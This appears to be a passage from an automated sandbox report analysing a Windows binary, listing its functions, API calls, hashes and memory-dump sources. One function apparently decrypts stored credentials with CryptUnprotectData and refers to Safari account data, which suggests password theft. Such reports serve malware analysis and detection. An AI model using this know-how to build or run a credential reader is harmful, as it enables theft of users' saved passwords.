                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Open
                                                                                            • String ID:
                                                                                            • API String ID: 71445658-0
                                                                                            • Opcode ID: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                            • Instruction ID: 4e31294bd56c0fd8f54a78566f459ab053e1b17b284f5820c9a90ca28514d216
                                                                                            • Opcode Fuzzy Hash: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                            • Instruction Fuzzy Hash: C4C09B35544311BFDE114F40FD09F09BB61BB84B05F004414B254640B182714414EB17
                                                                                            Function 00409B98 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetFileAttributesW.KERNELBASE(?,0040DAEA,?,0040DBA1,00000000,?,00000000,00000208,?), ref: 00409B9C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AttributesFile
                                                                                            • String ID:
                                                                                            • API String ID: 3188754299-0
                                                                                            • Opcode ID: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                            • Instruction ID: 3e515636d229e53f9e638efbf3d1d2cf0185fd636b5c9b7db17c068ea44c501e
                                                                                            • Opcode Fuzzy Hash: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                            • Instruction Fuzzy Hash: B9B012792104005BCB0807349C4904D35507F456317200B3CF033C00F0D730CC61BA00
                                                                                            Function 0041BE52 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 4a5c685a9d9bdef1792c919a9c6653d350a9d3b47e85a52724e839495e208d01
                                                                                            • Instruction ID: 186a7b248be49691fb09735f75239c469d17650efe27a5986e87276cb9a2b443
                                                                                            • Opcode Fuzzy Hash: 4a5c685a9d9bdef1792c919a9c6653d350a9d3b47e85a52724e839495e208d01
                                                                                            • Instruction Fuzzy Hash: E8318B31901616EFDF24AF25D8417DA73A0FF04314F10416BF91497251DB38ADE18BDA
                                                                                            Function 004095D9 Relevance: 1.3, APIs: 1, Instructions: 66COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 004095FC
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,0040DAEA,?,0040DBA1,00000000,?,00000000,00000208,?), ref: 00409B9C
                                                                                              • Part of subcall function 004091B8: memset.MSVCRT ref: 004091E2
                                                                                              • Part of subcall function 004091B8: memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                              • Part of subcall function 004091B8: memcmp.MSVCRT(00000000,0045A4F0,00000006,?,?,?,?,?,?,?,?,?,?,?,?,00000143), ref: 004092D9
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memsetwcslen$AttributesFilememcmpmemcpywcscatwcscpy
                                                                                            • String ID:
                                                                                            • API String ID: 3655998216-0
                                                                                            • Opcode ID: 06dd2208bba870b09ae4b6a35152530ffce6bfcddb3583e774ca40d5f9d70baf
                                                                                            • Instruction ID: 072a19641c33d96fdc78833b4ff670bebeeceb9371718ab52934a970b5968781
                                                                                            • Opcode Fuzzy Hash: 06dd2208bba870b09ae4b6a35152530ffce6bfcddb3583e774ca40d5f9d70baf
                                                                                            • Instruction Fuzzy Hash: F311607290021D6AEF20A662DC4AE9B376CEF41318F10047BB908E51D2EA79DE548659
                                                                                            Function 00445403 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 00445426
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,0040DAEA,?,0040DBA1,00000000,?,00000000,00000208,?), ref: 00409B9C
                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                              • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                              • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$Filewcslen$AttributesCreatewcscatwcscpywcsrchr
                                                                                            • String ID:
                                                                                            • API String ID: 1828521557-0
                                                                                            • Opcode ID: 30388877fc1f1466cb5fc4dbbd946ecf0cc3df28c932be715bfff3731eba89eb
                                                                                            • Instruction ID: 9d1500c39017731ad640c46c84131142cb98d7893e2d711cbdbff08f65233ce4
                                                                                            • Opcode Fuzzy Hash: 30388877fc1f1466cb5fc4dbbd946ecf0cc3df28c932be715bfff3731eba89eb
                                                                                            • Instruction Fuzzy Hash: 4B1186B294011D7BEB10E751DC4AFDB776CEF51328F10047FB518A50C2E6B8AAC486A9
                                                                                            Function 004068BF Relevance: 1.3, APIs: 1, Instructions: 59COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040B608), ref: 0040AFD8
                                                                                              • Part of subcall function 004062A6: SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000,00000000,004068F9,00000000,00000000,?,00000000,0040627C), ref: 004062C2
                                                                                            • memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,?,00000000,0040627C), ref: 00406942
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ??2@FilePointermemcpy
                                                                                            • String ID:
                                                                                            • API String ID: 609303285-0
                                                                                            • Opcode ID: 56af1d3d616a015a3ecb908bea2399ecc0b12673b9d22b9fdb7fca1b43f88111
                                                                                            • Instruction ID: a147fa8ec668463fbbadbca9a08a444fcb23aa95a0ceadfc627c4072e562ebd5
                                                                                            • Opcode Fuzzy Hash: 56af1d3d616a015a3ecb908bea2399ecc0b12673b9d22b9fdb7fca1b43f88111
                                                                                            • Instruction Fuzzy Hash: 4B11A7B2500108BBDB11A755C840F9F77ADDF85318F16807AF90677281C778AE2687A9
                                                                                            Function 00406214 Relevance: 1.3, APIs: 1, Instructions: 39COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00406294: CloseHandle.KERNEL32(000000FF,00406224,00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF), ref: 0040629C
                                                                                              • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                            • GetLastError.KERNEL32(00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF,?,00000104), ref: 00406281
                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$CloseCreateErrorHandleLastRead
                                                                                            • String ID:
                                                                                            • API String ID: 2136311172-0
                                                                                            • Opcode ID: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                            • Instruction ID: 5eec059ee86d0bbb8aaa5289f200f29bbda103cdac5cb86a40c163b72aa3aa4c
                                                                                            • Opcode Fuzzy Hash: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                            • Instruction Fuzzy Hash: 3F01D6B14017018FD7206B70CD05BA273D8EF10319F11897EE55BE62D1EB3C9861866E
                                                                                            Function 0040AFCF Relevance: 1.3, APIs: 1, Instructions: 12COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,0040AFD7,00000000,0040B608), ref: 0040B052
                                                                                            • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040B608), ref: 0040AFD8
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ??2@??3@
                                                                                            • String ID:
                                                                                            • API String ID: 1936579350-0
                                                                                            • Opcode ID: b7d64a9db0ab8f7e7b6c625ee8b1c93a5659d73149cb5b89327274070e360fa5
                                                                                            • Instruction ID: 89dc8af08517091935dcea8fd058adf4401913b4726dbdea6cb301b2924d739e
                                                                                            • Opcode Fuzzy Hash: b7d64a9db0ab8f7e7b6c625ee8b1c93a5659d73149cb5b89327274070e360fa5
                                                                                            • Instruction Fuzzy Hash: 8FC02B7240C2100FD730FF74340205736D4CE422203028C2FE0E4D3101DB3C840103C8
                                                                                            Function 0040B633 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: free
                                                                                            • String ID:
                                                                                            • API String ID: 1294909896-0
                                                                                            • Opcode ID: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                            • Instruction ID: 84c58710a9e867f17c2d1ed9f7495b278bdfae561cd9e9721482330d0bfefd66
                                                                                            • Opcode Fuzzy Hash: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                            • Instruction Fuzzy Hash: 48C00272510B018FEB209E16C405762B3E4AF5173BF928C1D949591481D77CE4448A1D
                                                                                            Function 0040AA04 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: free
                                                                                            • String ID:
                                                                                            • API String ID: 1294909896-0
                                                                                            • Opcode ID: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                            • Instruction ID: 146ea39d6618054f0b1de7ea1636ea0e57db3b52e0d7afa8327ef8e2ad9437d0
                                                                                            • Opcode Fuzzy Hash: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                            • Instruction Fuzzy Hash: 18C012B29107018BFB308E15C409322B2E4AF0072BFA18C0D9090910C2C77CD080CA18
                                                                                            Function 00415308 Relevance: 1.3, APIs: 1, Instructions: 5COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: free
                                                                                            • String ID:
                                                                                            • API String ID: 1294909896-0
                                                                                            • Opcode ID: 908a2f96169ffd3f5635234353574390e30f5bbba8146f1a6a93cc8e14f9cc97
                                                                                            • Instruction ID: 5e082493cfe38c59748d9de5a46a99a47989c0e105afa31b953e1adb18ef7a34
                                                                                            • Opcode Fuzzy Hash: 908a2f96169ffd3f5635234353574390e30f5bbba8146f1a6a93cc8e14f9cc97
                                                                                            • Instruction Fuzzy Hash: 17900282455501105C0425755C06505110808A313A376074A7032955D1CE188060601D

                                                                                            Non-executed Functions

                                                                                            Function 004182CE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLastError.KERNEL32 ref: 004182D7
                                                                                              • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                            • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 004182FE
                                                                                            • FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00418327
                                                                                            • LocalFree.KERNEL32(?), ref: 00418342
                                                                                            • free.MSVCRT ref: 00418370
                                                                                              • Part of subcall function 00417434: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756EDF80,?,0041755F,?), ref: 00417452
                                                                                              • Part of subcall function 00417434: malloc.MSVCRT ref: 00417459
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FormatMessage$ByteCharErrorFreeLastLocalMultiVersionWidefreemalloc
                                                                                            • String ID: OsError 0x%x (%u)
                                                                                            • API String ID: 2360000266-2664311388
                                                                                            • Opcode ID: 4fd697d7e384524c9f2c5a32db345d7fa765ac123a5e8bcccc5a3c31b8d6871e
                                                                                            • Instruction ID: 20f22e5b187e4483f2e635e74e626e0383ca95cf640bb4168ff376264581b0c9
                                                                                            • Opcode Fuzzy Hash: 4fd697d7e384524c9f2c5a32db345d7fa765ac123a5e8bcccc5a3c31b8d6871e
                                                                                            • Instruction Fuzzy Hash: 6011B634901128FBCB11ABE2DC49CDF7F78FF85B54B10405AF811A2251DB754A81D7A9
                                                                                            Function 0041739B Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Version
                                                                                            • String ID:
                                                                                            • API String ID: 1889659487-0
                                                                                            • Opcode ID: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                            • Instruction ID: 34334e4c1a53cba42546035453d5331cf18162d9798f59f763323439a3546438
                                                                                            • Opcode Fuzzy Hash: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                            • Instruction Fuzzy Hash: BAE0463590131CCFEB24DB34DB0B7C676F5AB08B46F0104F4C20AC2092D3789688CA2A
                                                                                            Function 00402279 Relevance: 110.5, APIs: 9, Strings: 54, Instructions: 285COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _wcsicmp.MSVCRT ref: 004022A6
                                                                                            • _wcsicmp.MSVCRT ref: 004022D7
                                                                                            • _wcsicmp.MSVCRT ref: 00402305
                                                                                            • _wcsicmp.MSVCRT ref: 00402333
                                                                                              • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                              • Part of subcall function 0040AA29: memcpy.MSVCRT(?,?,00000000,00000001,00401B3C,Function_0004E518,?,00000001,00401B95,?,00401EE4), ref: 0040AA5B
                                                                                            • memset.MSVCRT ref: 0040265F
                                                                                            • memcpy.MSVCRT(?,?,00000011), ref: 0040269B
                                                                                              • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                              • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                              • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                                                                                            • memcpy.MSVCRT(?,?,0000001C,?,?,00000000,?), ref: 004026FF
                                                                                            • LocalFree.KERNEL32(?,?,?,00000000,?,?,00000000,?), ref: 00402764
                                                                                            • FreeLibrary.KERNEL32(00000000,?,?,00000000,?), ref: 00402775
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcsicmp$Freememcpy$Library$AddressCryptDataLocalProcUnprotectmemsetwcslen
                                                                                            • String ID: !$#$$$&$&$'$)$/$0$2$8$=$>$>$@$A$Account$Data$F$H$H$I$K$K$L$O$Path$S$X$\$^$`$a$b$com.apple.Safari$com.apple.WebKit2WebProcess$g$h$n$n$q$server$t$t$t$u$u$w$y$y$z${$}$~
                                                                                            • API String ID: 2929817778-1134094380
                                                                                            • Opcode ID: 6b2dcad71dd29105a6653737fa8e45fa2e3e7ed8fa5e3c17c72860e5870ea394
                                                                                            • Instruction ID: 24bcbd005531c38afe4d7004bd238553ea51a424b60caac2517de9c8923e7683
                                                                                            • Opcode Fuzzy Hash: 6b2dcad71dd29105a6653737fa8e45fa2e3e7ed8fa5e3c17c72860e5870ea394
                                                                                            • Instruction Fuzzy Hash: 8FE1F32010C7C19DD332D678884978BBFD45BA7328F484B9EF1E89A2D2D7B98509C767
                                                                                            Function 00414002 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 0041402F
                                                                                            • GetDlgItem.USER32(?,000003E8), ref: 0041403B
                                                                                            • GetWindowLongW.USER32(00000000,000000F0), ref: 0041404A
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00414056
                                                                                            • GetWindowLongW.USER32(00000000,000000EC), ref: 0041405F
                                                                                            • GetWindowLongW.USER32(?,000000EC), ref: 0041406B
                                                                                            • GetWindowRect.USER32(00000000,?), ref: 0041407D
                                                                                            • GetWindowRect.USER32(?,?), ref: 00414088
                                                                                            • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0041409C
                                                                                            • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004140AA
                                                                                            • GetDC.USER32 ref: 004140E3
                                                                                            • wcslen.MSVCRT ref: 00414123
                                                                                            • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00414134
                                                                                            • ReleaseDC.USER32(?,?), ref: 00414181
                                                                                            • _snwprintf.MSVCRT ref: 00414244
                                                                                            • SetWindowTextW.USER32(?,?), ref: 00414258
                                                                                            • SetWindowTextW.USER32(?,00000000), ref: 00414276
                                                                                            • GetDlgItem.USER32(?,00000001), ref: 004142AC
                                                                                            • GetWindowRect.USER32(00000000,?), ref: 004142BC
                                                                                            • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004142CA
                                                                                            • GetClientRect.USER32(?,?), ref: 004142E1
                                                                                            • GetWindowRect.USER32(?,?), ref: 004142EB
                                                                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00414331
                                                                                            • GetClientRect.USER32(?,?), ref: 0041433B
                                                                                            • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00414373
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
                                                                                            • String ID: %s:$EDIT$STATIC
                                                                                            • API String ID: 2080319088-3046471546
                                                                                            • Opcode ID: d5ee3c6463b2dd39cebf85bfb280f62e7b68b75cb8304e0a6374ce3c4529937b
                                                                                            • Instruction ID: eff71af8639f47ea0b7533f6321954d8b94ad3b67000e3ed03306cc56154d199
                                                                                            • Opcode Fuzzy Hash: d5ee3c6463b2dd39cebf85bfb280f62e7b68b75cb8304e0a6374ce3c4529937b
                                                                                            • Instruction Fuzzy Hash: F8B1DF71108301AFD721DFA9C985E6BBBF9FF88704F004A2DF69582261DB75E9448F16
                                                                                            Function 004131DC Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • EndDialog.USER32(?,?), ref: 00413221
                                                                                            • GetDlgItem.USER32(?,000003EA), ref: 00413239
                                                                                            • SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00413257
                                                                                            • SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00413263
                                                                                            • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0041326B
                                                                                            • memset.MSVCRT ref: 00413292
                                                                                            • memset.MSVCRT ref: 004132B4
                                                                                            • memset.MSVCRT ref: 004132CD
                                                                                            • memset.MSVCRT ref: 004132E1
                                                                                            • memset.MSVCRT ref: 004132FB
                                                                                            • memset.MSVCRT ref: 00413310
